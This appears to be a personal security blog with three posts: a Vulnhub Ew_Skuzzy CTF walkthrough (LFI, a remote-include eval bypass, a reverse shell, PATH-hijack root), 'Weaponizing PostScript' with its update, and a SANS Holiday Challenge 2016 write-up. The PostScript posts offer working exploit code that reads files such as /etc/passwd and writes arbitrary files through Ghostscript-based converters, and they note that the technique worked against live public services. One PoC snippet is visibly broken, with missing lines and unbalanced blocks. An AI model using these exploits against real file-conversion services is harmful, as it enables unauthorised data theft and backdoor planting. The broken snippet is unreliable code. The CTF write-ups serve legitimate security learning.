Tuesday, March 21, 2017

How I rooted Ew_Skuzzy: 1

Ew Scuzzy or Ew SCSI!  

The VM put together by Vortex was a breath of fresh air and pushed me to learning new tricks, so I must tip my hat to him/her!

Here's my way to rooting it.
First, naturally, we start with nmap scans:

iscsi seems a bit out of place, I can't remeber if I've ever seen it on any CTF! But let's start with the familiar things: head to port 80 with firefox:
Let's do as the good VM suggests, and fire up dirbuster or dirb in my case.
I used the common.txt wordlist, which comes along with dirb and in a couple of seconds it had discovered a file, deep in the depths of a long path. Naturally I check it with firefox:
Naturally I view also the source and find something that looks like a base64 encoded string:

The string decoded:

Nothing really?! I also checked the image, but found nothing interesting. Nice trolling :)

I then fired nikto and the usual against the web server but found nothing interesting so I had to start investigating the other 2 services. I wasn't able to find anything interesting in the SSH so next stop was iscsi. Now for this I had to google a bit and landed on Ubuntu documentation about iSCSI Initiator. I was in luck since the open-iscsi was also found in the Kali repositories, so the installation was as simple as running "apt-get install open-iscsi".

Then I tried to mount the iscsi and with the ubuntu documentation mentioned above, I managed to do it without a hitch. First I ran the discovery:
 Then login (which succeeded without any credentials):
 Then just checked that we got a new scsi device (dmesg|tail):
 And finally, I proceeded to mount the new device:

The first three flags!

First things first, I checked the flag:
Then mounted bobsdisk.dsk, which seemed to be ext2 image:

Time to read Alice's mail:

The text is probably referring to AES, but also hints ROCKYOU, symmetric crypto and -md sha256. And also flag2!

The next step was a pain. I thought that I could use openssl to decode the files and eventually was correct. Too bad I had to leave my VM running overnight to do it...
I first started with the following bash script:
But then I realized that if I get really many possible password candidates, I have to wait again for a long time to re-run the decryption with all the possible candidates, so I updated the script a bit to delete each crated file when the decryption failed.

The next morning I came back and ran 
file decr/* |grep ASCII
and discovered what I was looking for:

The third flag and references to web-paths. Time to fire up the browser again!

Get a shell from the web!

The first checked URL was

Humm? Ok, let's view the source:
Yet another base64 encoded string, yet another troll :D

Right, time to check the other URL:
Now this looks more promising! Let's first check the flag:

yea, I should've known that it can't be that easy.
The way the site works, makes me think that there could be an LFI in place. Also the reader.php looks interesting, after all it's referencing to the read file via a http URL reference!

I first try to simply set up a HTTP listener on my box and refer to it, but then I get a complaint about a missing key. Time to investigate the LFI.

It turns out that I can read the PHP source using php filter conversions. So time to check the source of the reader.php:
It seems that when the url refers to other sites than localhost, the script expects a key, which is 47 characters long and the sha256 matches with the secret above. 

Bruteforcing a passcode of 47 characters? Ain't nobody got time for that!

After a nice hot cup of Try Harder! I dawns to me: the regexp only checks that the URL starts with but doesn't have a forward slash (/) after it! So if I make an url like: 
it should contact my box. And what do you know, it works!

When you read the reader.php source code in full, you can find out that anything between ##php## will be executed using phps eval-function. So I create a file which should display phpinfo and serve it via HTTP:


Now that we can run php and have the output of phpinfo at hand, I first check if there are any limitations for the functions we can call. It turns out that there is, but we can call for example the system-function, thus I created the following code:

Now, fingers crossed, I run curl 
and here's the relevant extract of the output:
Then for convenience's sake, I create a reverse shell executable with msfvenom, upload it to the target and get an interactive shell. This is also usually a requirement for many privilege escalation exploits.

Shell, privilege escalation and flags 4 & 5

Now when we can more easily check files I re-check all the php codes and find the next flag on flag.php

What do you mean "Next step, SHELL!", I already got a perfectly good one here. Perhaps it's a password for some of the users? Check passwd:

Nope, doesn't work for skuzzy nor for root. That would've been too easy. After all the skuzzy can run sudo:

Time to get root! Gather some info about the system:

The privesc methods I found for Ubuntu 16.04 didn't work, so I enumerated the usual things:
  • All the running processes
  • open ports
  • installed packages
  • suid files
There seems to be an odd suid file in place, which is probably the next step. When I ran the following command: 
find / -xdev -perm /6000 \( -user root -o -group root \) 2>/dev/null
I discovered the alicebackup:
I tried to execute it, got the output of id-command and a failure about host name resolution:

But hey, we were root for a microsecond or so! :D
Luckily ltrace was found on the server, so I could see what it executes on runtime:
So it's running id but it trusts the users environment variable PATH! Classic.
I update the path so that /tmp is the first folder in it and move the reverse shell executable to /tmp/id, set up a nc listener and re-run alicebackup. Got root? 

Time to find the last flag. Check the /root folder first:
and finally, check the flag:
we have the final flag!

Thanks for Vortex for the VM and g0tm1lk for hosting vulnhub! 
Some feedback: I found the trolling fun because it wasn't over the top. I didn't really care about the file decryption, because it took so much time on my rig, but the hints were good enough to be reasonably sure I was on the right path when doing it. iSCSI initiator was not a problem, just a chance to learn something new!
I think that the challenge level and the length was pretty much spot on: I couldn't do everything immediately, but on the other hand, I wasn't stuck on anything for too long either.

Sunday, February 26, 2017

Weaponizing PostScript update

Just a short post to display a new method for reading files with PostScript. I suggest that you check out my post "Weaponizing PostScript", if the subject interests you.

There's an alternative method for reading files (thanks Tavis Ormandy!).
I've modified Tavis's code a bit and here's a PoC code for reading files with .libfile:

/Buf 1024 string def % line buffer

/Courier             % name the desired font
8 selectfont         % choose the size in points and establish 
/LM 72 def           %Left Margin
/ypos 800 def        %current y position
/lineheight 10 def   %height of a line
/newline { 
    ypos lineheight sub
    /ypos exch def
    LM ypos moveto 
} def
LM ypos moveto 

(/etc/passwd) .libfile {
        dup Buf readline
        } ifelse
        % next line
    } loop
} if

You can also use the findlibfile operand in the exact same manner. Just replace ".libfile" with "findlibfile" and you should be able to read files.

The lesson of the story is, that you can't prevent Local File Disclosure by just preventing the use of file operand. The above code works with ghostscript and ps2pdf version 9.06 (latest version in Debian stable branch at the time of writing this post). 

Saturday, February 18, 2017

Weaponizing PostScript

In a recent pentesting assignment, there was a service which converted uploaded files to PDF/A format, to make them safer for handling. After all, they were uploaded to the service by external users. The service only allowed Excel (.xls & .xlsx), Word (.doc & .docx) and PDF -files. Eventually I ended up trying to upload a PostScript-file with the extension .pdf. After all, pdf and PostScript formats are similar. You should know, that many PostScript interpreters won't allow file I/O, but still as I found out: it's a chance!

The exploiting was simple: I was able to upload the postscript files to the server, which then proceeded to convert the file to PDF or PDF/A. With one of the services I had to just rename the PostScript file so it had .pdf extension. Then the services gave me access to the converted files, which had the loot within them...

I have also witnessed this vulnerability on the Internet in publicly available services and notified them. I tried to find possible targets (file conversion services) with Google and tested about 10 of the first hits in the results. 3 of the targets were vulnerable but by the request of the vulnerable parties, whose services are now fixed, I won't be disclosing them publicly.

I first uploaded the Hello World script found in wikipedia:
 /Courier             % name the desired font
 20 selectfont        % choose the size in points and establish 
                      % the font as the current one
 72 500 moveto        % position the current point at 
                      % coordinates 72, 500 (the origin is at the 
                      % lower-left corner of the page)
 (Hello world!) show  % stroke the text in parentheses
 showpage             % print all on the page

After uploading the file with a pdf extension, the service converted it automatically and the resulting PDF looked like the following:
Hello World! PostScript after conversion

The PostScript code was executed!

PoC code

I then started studying PostScript, for I had never written any of it and the syntax looked really strange. I tried to find readily available exploit codes written in PostScript - after all, you can even find a HTTP server written in PostScript - but I didn't find anything that would suit my needs.

After googling a bit, I found a copy of a book called "Thinking in PostScript". It's pretty old, but it seems to still be accurate. After skimming through it, I was able to write 2 pieces of PostScript code, of which 1 significantly helped me in my assignment:
  1. Script that reads a file and includes it's contents in the PDF, that is the result of the conversion
  2. Script that creates arbitrary files

What was unfortunate for me, was that the process had no permissions to write any files on the server, but I still was able to read any files that the process had read access to.

Reading arbitrary files

Because I didn't find anything online that would accomplish the same, I thought that I would share my scripts, so here goes:

Reading arbitrary files and including the text in the resulting PDF file
/infile (input.txt) (r) file def % open files
/buff 128 string def             % buffer for reading
/Courier 8 selectfont            % name and size of font
/LM 72 def                       % x coord
/ypos 800 def                    % y coord
/lineheight 10 def               % height of a line
/newline {                       % function for changing lines
    ypos lineheight sub
    /ypos exch def
    LM ypos moveto 
} def
LM ypos moveto                   % move to starting coords

{ % read the file in loop
        infile buff readline     % read the file 1 line at a time
        { %ifelse
                buff cvs show
        { %else
                buff cvs show
                infile closefile % close file pointer
                exit             % exit the loop
        } ifelse
} bind loop


You can naturally replace input.txt with any file and path you desire. You just need to escape backslashes (\) and parentheses (both ( and )) with a backslash. For example to read the hosts file on a windows, you'd replace "input.txt" with "C:\\Windows\\System32\\drivers\\etc\\hosts".

However there are limitations. For example, the script doesn't handle pagination, and if the contents don't fit on one page, only partial results are rendered. However the pdf still contains all the text, you just need some tools to dig it out. One such a tool is pdf2txt from the pdfminer toolkit. Additionally readline doesn't include linefeed nor carriage return characters in the buffer, so I'd recommend the following script instead (for larger and/or binary files):

/infile (input.txt) (r) file def % open files
/buff 128 string def             % buffer for reading
/Courier 8 selectfont            % name and size of font
/LM 72 def                       % x coord
/ypos 800 def                    % y coord
LM ypos moveto
{ % loop
  infile buff readstring         % read chars to the buffer
  { %ifelse
    buff cvs show                % write the chars to the document
  }{ %else
    buff cvs show
    infile closefile             % close file pointer
    exit                         % exit the loop
  } ifelse
} bind loop


If you read a file with the above script and try to extract the contents with pdf2txt, all the binary bytes are replaced with (sid:xx) where xx is a decimal representation of the character. For example a newline (0x0a) would be replaced with (sid:10), but they should be fairly simple to convert back to their binary form.

Writing arbitrary files

With the following script, you can write arbitrary files
/outfile (output.txt) (w) file def % open files and save file objects
/outstring (Contents of the output.txt
You can even have multiple lines.) def % define what you write
outfile outstring writestring      % write the file
outfile closefile                  % close the file pointer
/Courier 10 selectfont             % Write something to the pdf
72 720 moveto                      % so you know if the process
(Completed!) show                  % crashed or not...

Again you should be good if you just escape any backslashes and parentheses with backslashes in your file contents. 

If writing files with PostScript is allowed, you can easily see why allowing external users to create files is bad, when you consider the possibility to create a php, asp or any other backdoor on the target.

If you want to test out the above scripts yourself, you can use for example the ps2pdf from the ghostscript-package. With it you see, that the file I/O is by default forbidden and you should get a verbose error starting with "Error: /invalidfileaccess in --file--". 
Running the PostScript code without the -DNOSAFER argument

You still get a pdf, but it's empty...

To bypass this and actually execute the script to see how they operate, you can use the -DNOSAFER parameter:
Running the PostScript code with the -DNOSAFER argument

Wednesday, January 4, 2017

Sans Holiday Challenge 2016

You got to start somewhere

This year the SANS Holiday Challenge had a backstory where Santa Claus himself was kidnapped when he was delivering presents to the children. The only witnesses to the kidnapping were Josh and Jessica Dosis who heard the kidnapping happen. Only clue on the scene was the business card of Santa:

The card has Santa's Twitter handle along with his Instagram id. Both of Santa's accounts were worth examining...

Instagram has a couple of photos and in one of them, you can see a printout of an nmap scan. Too bad only the target domain is shown and not the results:

In the same image there's yet another hint about a ZIP-file needed later:

Combining the two hints, you get the URL to download the zip:

The twitter feed looks weird from the start:

But copying all the tweets and placing them in a file, 1 tweet per row, you find a hidden message:

Let's move on with the story and the questions:

1) What is the secret message in Santa's tweets?

Now that should be easy: Bug Bounty.

2) What is inside the ZIP file distributed by Santa's team?

The zip-file is password protected, but luckily the password is already given to us: "bugbounty". Inside the zip is an Android application package: SantaGram_4.2.apk.

3) What username and password are embedded in the APK file?

To find the username and password, the apk was extracted and converted to jar using dex2jar.
The resulting jar-file was then examined with jd-gui.

A search for the phrase "password" finds the following:


4) What is the name of the audible component (audio file) in the SantaGram APK file?

The audio file is available after you unzip the apk.

Answer: discombobulatedaudio1.mp3
(full path res/raw/discombobulatedaudio1.mp3)

5) What is the password for the "cranpi" account on the Cranberry Pi system?

After running around the game world collecting all the Cranberry Pi pieces we are given an image file (cranbian-jessie.img.zip) from Holly Evergreen. After obtaining the image, the first step was mounting it:

First unzip the downloaded zip-file:

Then extract the partitions with 7zip:

This gives us two files: 0.fat and 1.img, where the latter can be directly mounted:

Having access to the /etc/shadow file, what remains is cracking the password for the cranpi user. As suggested by Minty Candicane, John the Ripper together with the RockYou password list is used:

And after a while, the password hash is cracked:

When you give the password to Holly Evergreen, she gives you access to all the terminals around the Northpole.

Answer: yummycookies

6) How did you open each terminal door and where had the villain imprisoned Santa?

The villain had trapped Santa in the past, or more precisely in 1978 (more on getting there later)! He was found in the DFER room.

Yay, Santa:

Now, the terminals. Each terminal gives you a shell access to a linux system (probably a docker container) where you have to perform certain tasks to obtain keys to nearby doors.

Terminal #1

First terminal is in Elf House #2:

Next to a fireplace, cosy :)
The terminal itself is quite helpful as it immediately tells you what you need to do:

Too bad the out.pcap is owned by itchy and no-one else has any permissions to it. Luckily we have some sudo privileges:

We can run tcpdump and strings as itchy, so this pretty much solves the problem of file permissions. The first part of the password is easily found with strings:

The second part didn't open immediately to me but when I noticed that both the users refer to the Simpsons, their dog called "Santa's Little Helper" came to my mind. When I tested that as the password, it worked and I stopped trying to solve the second part.

Terminal #2

There are two terminals in the workshop, one leading to Santa's office and another one leading to the DFER room. The one leading to Santa's office was cracked next.

Again, it's pretty easy to figure out what you are supposed to do:

Executing a simple ls -lahR and reviewing the output reveals something interesting:

The path looks like a pain to escape, so we cheat a bit with find:

Terminal #3

The next terminal was in Santa's Office and it gave you the password for the hidden door in the bookshelf on the left.

When accessing the terminal, you were greeted with a line from the movie "War Games". Continuing the dialog by entering what David Lightman (played by Matthew Broderick) typed in the movie, the dialogue plays out as in the movie and eventually you get the key for the door:

Terminal #4

The next terminal was in the workshop, on the back wall:

Again the goal was clear. This time you were supposed to play (or cheat) a game.

Sometimes cheating takes longer than playing by the rules. After two or three fair games, the Wumpus was killed and the password revealed:

Terminal #5

Final terminal was found in the train yard, on the train (or rather the train-looking time machine):

Accessing the terminal prompts you with a "Train Management Console":

It is possible to control the brakes and view the help document, but when trying to start the train, you are prompted for a password and if you don't have it, your access is denied:

The help document behaves just like less though. If it looks like a duck and it quacks like a duck... Typing "!bash" while viewing the help, brings you to shell:

Viewing the Train_Console file, the password is found and the train can be started:

When you start the train, you see the flux capacitor, but can't change any time settings:

After you exit the train, you are in the past! 1978 to be exact:

If you have opened the doors in present, you get access to them also in the past.


  • The Mobile Analytics Server (via credentialed login access)
  • The Dungeon Game
  • The Debug Server
  • The Banner Ad Server
  • The Uncaught Exception Handler Server
  • The Mobile Analytics Server (post authentication)

For each of those six items, which vulnerabilities did you discover and exploit?

The addresses of each server can be found in the res/values/strings.xml file of the SantaGram apk:
  • https://analytics.northpolewonderland.com/
  • http://ads.northpolewonderland.com/
  • http://dev.northpolewonderland.com/index.php
  • http://dungeon.northpolewonderland.com/
  • http://ex.northpolewonderland.com/exception.php
Even the Great Oracle Tom Hessman gave the green light for each of these addresses!

The Mobile Analytics Server (via credentialed login access)

We started by browsing to the analytics server using the URL mentioned earlier. Then we used the credentials found in the apk (guest:busyreindeer78). After logging in, we can directly download an mp3-file from the MP3-link:

The MP3 link (https://analytics.northpolewonderland.com/getaudio.php?id=20c216bc-b8b1-11e6-89e1-42010af00008) in the top of the page allows you to download an mp3-file named discombobulatedaudio2.mp3.

That was pretty straightforward :)

Status: we have 2 audio files (remember that the first one was found for question 4).

The Dungeon Game

Pepper Minstix offers you a local copy of an older version of the game.

After playing around with it for a while we discovered a hidden menu. At first the hidden menu was accessed by running the game in a debugger (gdb), setting a breakpoint to just after a call to strcmp and then changing the return value (eax/rax) to 0. However, looking at the arguments passed to strcmp using the gdb-peda extension, it turns out that it is possible to enter the debug menu by simply typing "GDT" in the game.

Below is an image of the "debug command check", with a breakpoint set to the row where the call to strcmp is made. The first argument, arg[0], is set to the user typed command ("L"), and the second argument is the expected value for entering the debug menu ("GDT").

After typing "GDT" instead of "L", the debug menu is indeed presented within the game:

As an alternative to finding the debug menu with gdb, one could have also read the source code. :)

After examining rooms with the DR (Display ROOMS) and D2 (Display ROOM2) commands, we find that the last two rooms are different from the others. D2 doesn't even seem to find them at all. Using the AH (Alter Here) command and entering the second-to-last room number, we arrive at north pole:

Moving north brings us to "the elf":

The elf wants to trade something for his information. luckily the GDT-menu also has a TK (Take) command, which allows us to obtain items. To find the correct item was a simple case of testing...

Giving the coins to the elf, the game ends, pointing us towards an online version for the "true prize":

A not too far fetched guess is that the online version is probably on the dungeon.northpolewonderland.com server. Port 80 hosts a static about page, which does not seem interesting to us. A simple nmap scan yields no results other than the standard ports 80 (http) and 22 (ssh). Neither seem to provide us with the information we need. Then we remember the hint from Misty Candycane:

When we instead performed a syn scan against the dungeon server with the full port range, we found an open TCP port 11111. We then connected to the port using netcat and we found a familiar prompt. We had found the online version of the dungeon game!

Now that we know about the debug menu (GDT) as well as the correct room (192) and item id (25), the game is over pretty quickly:

With our newly obtained knowledge, we craft a letter to Santa Peppermint and get a lovely response:

Status: we have 3 audio files.

The Debug Server

Also the debug url was found in the apk (http://dev.northpolewonderland.com/index.php). To get a better idea about what the server expects us to send to it, the jar file (as previously extracted using the dex2jar tool) was again used. When examining the jar-file using jd-gui, it was found that the debug server url was used in the EditProfile class. Here's the construction of the json object that is later sent to said debug url:

Only 4 parameters in a json call, it should be simple to craft a json file and send it with curl. After a bit of testing, such a request was created that the server replied:

The response:

Notice that in the response there is a property called "verbose" on the "request" object, even though that property was never specified in the actual request. Crafting a similar request as before, but this time adding "verbose":true to it and we get a different response:

The first item in the files array is an mp3 file, which we were able to download from http://dev.northpolewonderland.com/debug-20161224235959-0.mp3.

Status: we have 4 audio files.

The Banner Ad Server

Again the ad server url is found in the apk: http://ads.northpolewonderland.com/.

When we viewed the page source, it became obvious that it's made with meteor
The hints from Pepper Minstix were invaluable here:

We started by checking all the routes. This was simple with Chrome's javascript console:

Looking at each of them, the last one (always the last one) acts a bit differently... It seems to load some data before telling us that we are not allowed, as opposed to saying we are not allowed directly like all the other routes do. Investigating the websocket frames, there is one extra entry here that should have probably never been pushed to any non-authenticated clients (sorry about the small image size, just click it to see the original):

Embedded in an extra field we find that the audio file is at: http://ads.northpolewonderland.com/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3.

Status: we have 5 audio files.

The Uncaught Exception Handler Server

Also the URL for Exception Handler Server is in the apk. The exception handler server url is referenced in the SplashScreen and again we examine the Java code to figure out what should be sent to the server. Part of the decompiled Java code is here:

Basically we have two JSON objects where the first contain only a few properties and the second one is sent as the data property of the first one. When we invoke the WriteCrashDump operation, the server stores anything we write to php-files. Unluckily for us, nothing in those php files gets executed. Testing the server further, an empty operation was sent, which gave us the following response:

This moved our focus to the ReadCrashDump operation. We were able to read our crash dumps and thought that there must be a Local File Inclusion (LFI) vulnerability, but didn't get much further, until we remembered the hint from Sugarplum Mary:

This means that if there really is an LFI, we should be able to read also PHP-files without the target server parsing them, thus giving us the PHP source. A successful exploit is shown here:

Looks promising. When we then decode the base64-encoded text, we find something interesting:

When we then take note of the comment, we proceed to download the audio file from http://ex.northpolewonderland.com/discombobulated-audio-6-XyzE3N9YqKNH.mp3

Status: we have 6 audio files. Only 1 more to go

The Mobile Analytics Server (post authentication)

This was the trickiest of the bunch in my opinion, but again the hints from the elves were helpful:

When we ran nmap against the analytics server with the -sC switch, the following was a part of the output:

When we check the .git folder, we find that it has directory indexing on:

Because the directory indexing is on, we can download all the files quite easily using wget and it's mirroring capabilities:

This took a while to complete but after a couple of minutes of patient waiting we had downloaded the ".git" folder and its subfolders. We had the following structure:

Now we can checkout all the files in the .git repository using the git checkout command:

And let's not forget the commit history. Executing git log, we get a full commit history, including comments. The following commit seemed interesting, after all: what unnecessary data could there be in the database dump:

How does the admin password sound? It's surprisingly common to find passwords or keys in any version control system and this isn't an exception. Have a look at the following diff and take a note of the removed line (the one in red):

Luckily for us, the administrator password wasn't changed and we were able to log in with it. The user interface was a bit different than what it was for the guest:

This time we don't get the option to download the audio file, but we have something called "Edit" instead. Since we now have the full source at our disposal (from the git repository, remember?) we assume that this is a bit more complicated than the previous levels.

The Edit-link brings us to edit.php, which allows the user to modify the metadata of an existing saved report. The saved reports actually store the SQL clauses used for generating them to the database on a column called query, probably as a way to allow reports to be "updated" as the underlying data changes. The table for storing saved reports looks as follows:

The edit.php has a peculiar way to handle the data submitted from the form:

While this works, it also allows us to modify other columns than name and description, including the column 'query'. Additionally, due to how the report stores and executes sql statements, any SQL statement we put in the column query will be executed when the saved report is viewed. 

To exploit this vulnerability, we first need to create a saved report (remember to save the query):

We then get a link to our saved report and when we click it, we are taken to view.php and shown the saved report, including the metadata (ID, Name and Details):

With this ID we can then use the Edit-functionality and update the metadata. What we really want to do, is to change the column query instead of description, thus we modify the form with Chrome's developer tools:

The name attribute was "description" but now it's "query". 

So, what do we want from the database? Since we are still interested about the audio files, the table audio seems like a reasonable place to start. Here's the structure of the table audio:

The first attempt was to simply select all the rows and columns from the audio-table

And then we return to view.php and see the following page:

So, we get the metadata from the files, but not the actual files itself. We then thought that we could use the same method as we did as guest, since we now know the file id. However, it turns out that the download is disabled for administrator, as can be seen from the php code:

So we have to think of something else. It's normal that you don't get binary data (any blobs) when executing select clauses, so perhaps we want to convert it to something else... Two obvious choices are hex and base64 and we decided to use the latter. We modify the query a bit (again change the name of the field):

Then go back to the view.php and view the page source, to get the nice formatting:

Then we proceed to copy the base64 encoded data to a local file and decode it:
Status: we have 7 audio files. That's all of them!

8) What are the names of the audio files you discovered from each system above? There are a total of SEVEN audio files (one from the original APK in Question 4, plus one for each of the six items in the bullet list above.)

  • discombobulatedaudio1.mp3 - source: SantaGram_4.2.apk
  • discombobulatedaudio2.mp3 - source: https://analytics.northpolewonderland.com/getaudio.php?id=20c216bc-b8b1-11e6-89e1-42010af00008
  • discombobulatedaudio3.mp3 - source: email from peppermint@northpolewonderland.com
  • debug-20161224235959-0.mp3 - source: http://dev.northpolewonderland.com/debug-20161224235959-0.mp3
  • discombobulatedaudio5.mp3 - source: http://ads.northpolewonderland.com/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3
  • discombobulated-audio-6-XyzE3N9YqKNH.mp3 - http://ex.northpolewonderland.com/discombobulated-audio-6-XyzE3N9YqKNH.mp3
  • discombobulatedaudio7.mp3 - source: database of the analytics -server

9) Who is the villain behind the nefarious plot.

To find the villain, we need to analyze the audio files. 

First step was renaming two files to make things easier: 
  • debug-20161224235959-0.mp3 to discombobulatedaudio4.mp3 and
  • discombobulated-audio-6-XyzE3N9YqKNH.mp3 to discombobulatedaudio6.mp3

The seven files were then combined (or concatenated) to one using SoX:

SoX has multiple effects to play with:

The first attempt was made by changing the speed, but it wasn't until we tried to altering the tempo that we actually got a result. When the tempo was raised to about 5 times faster, we were able to hear the mangled message. It said:
Father Christmas, Santa Claus. Or, as I've always known him, Jeff.
This is a reference to Dr. Who episode "A Christmas Carol" (check also http://www.imdb.com/title/tt1672218/quotes)

The message from audio files was accepted as the key to the final door. You just had to have correct capitalization and punctuation. 

So, the villain of the story was Dr. Who!

10) Why had the villain abducted Santa?

Let's allow the good Doctor to explain himself:

Oh no! So it's our fault that we still have to live with Star Wars Christmas Special!

The End

After we've talked with the Doctor, ending credits roll.